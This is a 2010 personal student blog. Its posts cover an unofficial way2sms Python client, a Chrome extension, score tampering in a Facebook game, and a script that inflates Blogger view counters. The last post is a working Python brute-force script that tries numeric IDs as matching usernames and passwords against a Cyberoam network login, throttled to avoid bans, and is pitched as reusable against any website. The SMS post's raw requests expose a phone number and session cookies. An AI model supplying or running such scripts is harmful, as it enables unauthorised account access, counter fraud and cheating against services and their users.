Sunday, June 13, 2010

Free SMS api

Yesterday I was searching for a free SMS api to integrate in my blog. And as you would have guessed I couldnot find any for Indian users. So here is what I did - A way2sms API in python which you can easily integrate in you web application.


The CODE ( FORMATTING HAS GONE HAYWIRE DO NOT COPY, DOWNLOAD FROM HERE)
http://code.google.com/p/way2sms-unofficial-api/downloads/detail?name=way2sms.py&can=2&q=

PROJECT HOMEPAGE AND GUI VERSION : http://code.google.com/p/way2sms-unofficial-api/

#######################################
#
#
# Unofficial way2SMS API 1.0
#
# Now send SMS by ONE CLICK on your PC
# OR
# Integrate this in your web or desktop service
#
#
#######################################


# Created by Abhishek Anand
# June 12, 2010
# You are free to use,modify this code in any form whatsoever but
# please tell me about the modification or use you have put this to
# I would be glad to hear your comments and suggestions.
# mail me at abhishek@bitproxy.co.cc
# http://proxyspeaks.blogspot.com



import urllib
import httplib2
import random



def sms(username,password,mobileNo, message):
#Check validity of MobileNumber and length of message ( should be less than 160)
if len(mobileNo) <> 10 or len(message) > 155:
return False
# These are some of the CNAMES or roughly servers you are directed
# (to balance load i guess)
serverList = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','1','2']
# Get a random server from list
server = serverList[random.randint(0,len(serverList)-1)]
# Make a authentication request and get the cookie
http = httplib2.Http()
url = 'http://www' + server + '.way2sms.com:80/auth.cl'
body = {'username': username, 'password': password,'login': 'Login'}
headers = {'Content-type': 'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)'}
try:
response, content = http.request(url,
'POST',
headers=headers,
body=urllib.urlencode(body))
except:
return False
# Set the cookie we got for future requests
headers = {'Content-type': 'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)',
'Cookie': response['set-cookie']}
newBody = {'custid': 'undefined',
'HiddenAction': 'instantsms',
'Action':'custfrom650000',
'login': '',
'pass': '',
'MobNo': mobileNo,
'textArea': message}
newurl = "http://www"+ server +".way2sms.com:80//FirstServletsms?custid="
# Send message with the cookie we got
try:

response, content = http.request(newurl,
'POST',
headers=headers,
body=urllib.urlencode(newBody))
except:
return False
# If the returned text contains word successfully, your message is sent
if content.find("successfully") <> -1:
return True
else:
return False




## Wonder whats happening ? CHECK THESE RAW REQUESTS MADE BY IE 6.0 TO FIND OUT



##POST http://wwwd.way2sms.com:80/auth.cl HTTP/1.0
##Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
##Referer: http://wwwd.way2sms.com/content/index.html
##Accept-Language: en-us
##Content-Type: application/x-www-form-urlencoded
##Proxy-Connection: Keep-Alive
##User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
##Host: wwwd.way2sms.com
##Content-length: 49
##Pragma: no-cache
##Cookie: JSESSIONID=CD6B72CCD5EBC9BA1A26FB4BDA06097B.a402; __utma=247637761.1836730094.1276307773.1276307773.1276307773.1; __utmb=247637761.2.10.1276307773; __utmc=247637761; __utmz=247637761.1276307773.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)
##
##username=9204741388&password=I_CANT_TELL_YOU_MY_PASSWORD&login=Login



##
##POST http://wwwd.way2sms.com:80//FirstServletsms?custid= HTTP/1.0
##Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
##Referer: http://wwwd.way2sms.com//jsp/InstantSMS.jsp?val=0
##Accept-Language: en-us
##Content-Type: application/x-www-form-urlencoded
##Proxy-Connection: Keep-Alive
##User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
##Host: wwwd.way2sms.com
##Content-length: 139
##Pragma: no-cache
##Cookie: JSESSIONID=018B38DCDC74E26289CD92DD0DD78D1B.a402; __utma=247637761.1836730094.1276307773.1276307773.1276307773.1; __utmb=247637761.2.10.1276307773; __utmc=247637761; __utmz=247637761.1276307773.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=21639229.1402244472.1276308031.1276308031.1276308031.1; __utmb=21639229.2.10.1276308031; __utmc=21639229; __utmz=21639229.1276308031.1.1.utmcsr=wwwd.way2sms.com|utmccn=(referral)|utmcmd=referral|utmcct=/content/index.html
##
##custid=undefined&HiddenAction=instantsms&Action=custfrom650000&login=&pass=&MobNo=9899949220&textArea=HI+POKA+HOW+R+U+I+M+FINE+THIS+IS+TEST





So Integrate and enjoy. If you have any problem please free to ask. And this can be easily converted in PHP or any language.

Monday, April 5, 2010

New look and feel

Changes are necesssary and so here it is the all new template ( which I googled and downloaded.. do not remember the address though... u can find it easily).
Now atleast the post would be more readable. Please send me the site if you can find it so that I can thank the template creator for this great work.

One Click Tweet - my first Chrome extension

Please ignore typos and sentence formation errors in this post, I m going to sleep.
Unemployed as I am of now, I am trying my hands on different things. There is a good news too. I have completed Dexter Season 4 and will now start doing my assignments.
Now to the topic, I never thought writing a Chrome extension would be so easy and fun. I wanted to make my first extension something useful and here is One Click Tweet. ( My classmate Gourab Mitra will surely google out many such extensions already existing in the world.........BUT this is mine :)  )
If you are a chrome user you can download it from here https://chrome.google.com/extensions/detail/objljdkenmjcpabphfidphkdkblceaph
If you are a developer you can browse the source code or better grab a copy ( I have used SVN, now for SVN vs Mercurial vs Git vs blah blah, i'll save it  for another day)
Now I m going to sleep.......... somebody wake me up at 5:30 for tea ( people call it high-tea which seems wrong to me for the stuffs we get here).
Contact if you wanna fix a bug in this extension or something.

Wednesday, March 31, 2010

Hacking a facebook app in 30 seconds , yup its right !!!!!

Recently, I saw one of facebook updates from my friend Arko, It said something like "It said 'I clicked 513 times in 30 seconds' Think you can beat your friend ??".  ( the app can be found at http://apps.facebook.com/myclickchallenge/)


I thought about the app for a while and this is what I got for you all.
Here is the trick to write virtually anything (a negative number , string , a 100 billion clicks ...whatever u like) instead of your number of clicks.


1. Open Firefox
2. Download and install Firebug ( http://.getfirebug.com/).Its a plugin for mozilla. It may be already present if you are a web developer.
3. Open the apps link http://apps.facebook.com/myclickchallenge
4. Right click on the page Click--- This Frame >>Open in new tab. This will open the app part of the page in new tab.
5. Now in this newly opened tab, click the firebug icon in bottom right of firefox to view the source code and scripts of the app.
6. You will find a variety of options there. On the top left of firebug you will get 'Console'. Click on it.
7. In the console write       vclick = 99999999999         or any value for vclick you want as the final value and press enter.
8. If you know just a bit of programming or javascript, you will find number of global variables like start, vtime etc. to tweak with.
9. After tweaking just start the game any wait for the time to finish by , then publish your hacked score.




Comment here if you face problems (although I doubt you will face one.) You may tweak other apps with this. I would be glad to know about your experiences here.


Abhishek

Sunday, February 7, 2010

TCS official website HACKED !!!!!!!!!!!!!!!

It seems that the official website of Tata Consultancy Services ( http://www.tcs.com ), which is a placement-time saviour for BIT Mesra and man other institutes ( :P ) has been HACKED. The site now contains some text in french and english. It is suspected to be a type of DNS Hijacking . For a tutorial on DNS hijacking visit BITproxy Educational section.
Here is the screenshot.

Monday, February 1, 2010

INCREASE YOUR BLOGGER profile views 100 times in few minutes !!!

You must have noticed the dumb counters on some of the webpages. Now some of these counters do track users ip and then increment the count. Buy mostly dont.Google's own blogger.com's profile page or this place where you are reading this blog counts people just on the basis of hits. NOW THE INTERESTING PART .


You can increase your counters exponentially in just few minutes. Here is the python code to do that. The instructions to run this code are given in my previous post..
-----------COPY FROM HERE-----------------



import urllib




while(1):
    a = urllib.urlopen('http://www.blogger.com/profile/16674273246363106243')
    b = a.read()
    print ('DONE')





----------COPY UPTO HERE----------------
If you are facing problems consider reading Python syntax as while copying from here you may get errors as Python has no braces and tabs are its indentation marks.


 You may consider giving short breaks or you may end up with this page or even your account may be suspended. 








**NOTE THE URL IS OF MY BLOGGER PROFILE . CHANGE IT TO YOUR PROFILE URL OR ANY PAGE WITH COUNTERS ELSE GOOGLE WILL BAN MY ACCOUNT DUE TO YOU.
** THIS WILL EAT UP YOUR 100 mb LIMIT IF YOU ARE IN BIT MESRA OTHERWISE FOR PEOPLE ELSEWHERE SKY IS THE LIMIT FOR YOUR COUNTERS.
** GOOGLE MAY  NOTICE THIS AND WILL RECTIFY ... SO THIS MAY STOP WORKING AFTER SOMETIME. BUT IT WILL WORK FOR OTHER SITES TOO :P

Sunday, January 31, 2010

CYBEROAM PROF ID's HACKING CODE

Lately I have been getting much amount of queries about  Prof ID's or IDs which have no limit on download or time restrictions. So I am giving out the code which I wrote to scan the IDs. Note that this code can be used to brute force any website (obviously without a captcha or image based identification system.) with some minor modifications and a good dictionary.



STEPS TO GET PROF ID's ( Ids with same numeric username and password)

1. Download Python IDE from http://www.python.org (not python.com !!!!). I have been using 2.5.1 and recommend the same.
2. Install normally
3. Open Notepad
4. Copy the following code in it or skip steps 2 n 3 n download the file from http://www.bitproxy.co.cc/data/cyberoam.py


-----------------COPY AFTER HERE----------------



# Cyberaom Prof IDs hacking code
# @author Abhishek Anand, BIT Mesra
# feel free to modify this code but do mail your code to:

codebase@bitproxy.co.cc

import urllib
import time

#this is the range of Ids to check
checkList = range(1,10000)

for i in checkList:
     userid =str(i)
     password= str(i)

     # here a post request is being made to the CyberoamHTTPClient servelet
     # for any other site view its form's source nd make a dictionary of

elements

     dataToSend = urllib.urlencode({'mode': '191','isAccessDenied': '', 'url':

'', 'username': userid, 'password': password, 'saveinfo': '',  })
     postRequest =

urllib.urlopen("http://172.16.1.1:8090/corporate/servlet/CyberoamHTTPClient",

dataToSend)
     responseData = postRequest.read()

     # reading the faltu string from the output to verify
     if not responseData.count('Make+sure+your+password+is+correct'):
          print userid
      # time to stop scanning before opening URL
          time.sleep(1)
          # here I m opening my Foxy's Updata File :P
          openURLToCheck =

urllib.urlopen("http://www.bitproxy.co.cc/data/file.txt")
          checkData = openURLToCheck.read()
          if checkData.count('2k8'):
               print '------------------------------------------'
               print ' ID FOUND !!!!!    ID FOUND !!!! ID FOUND!!!!'
               print '------------------------------------------'
               print password
    # stopping after 80 checks to prevent temporary IP banning by stupid

Cyberoam
     if i%80 == 0:
          print 'SCAN COMPLETED UPTO ' + str(i)
          time.sleep(3)


         
    
-----------------COPY UPTO HERE--------------------



5. Save the file with .py extension (e.g. hacker.py)
6. Now open the place where you have saved the file.
7. Right click on the file and select 'Edit with IDLE'
8. From the menu options run the program or press F5
9. The OUTPUT will generate both dead and working IDs.
10. ID FOUND !!! ID FOUND !!! means a working ID has been found.


**  You can implement the same thing in Java using Java.net.* libraries. but
it may take more lines of codes.
**  Please donot use this code on your friends IDs. :P

For any help feel free to mail me at:  opensource@bitproxy.co.cc

Abhishek Anand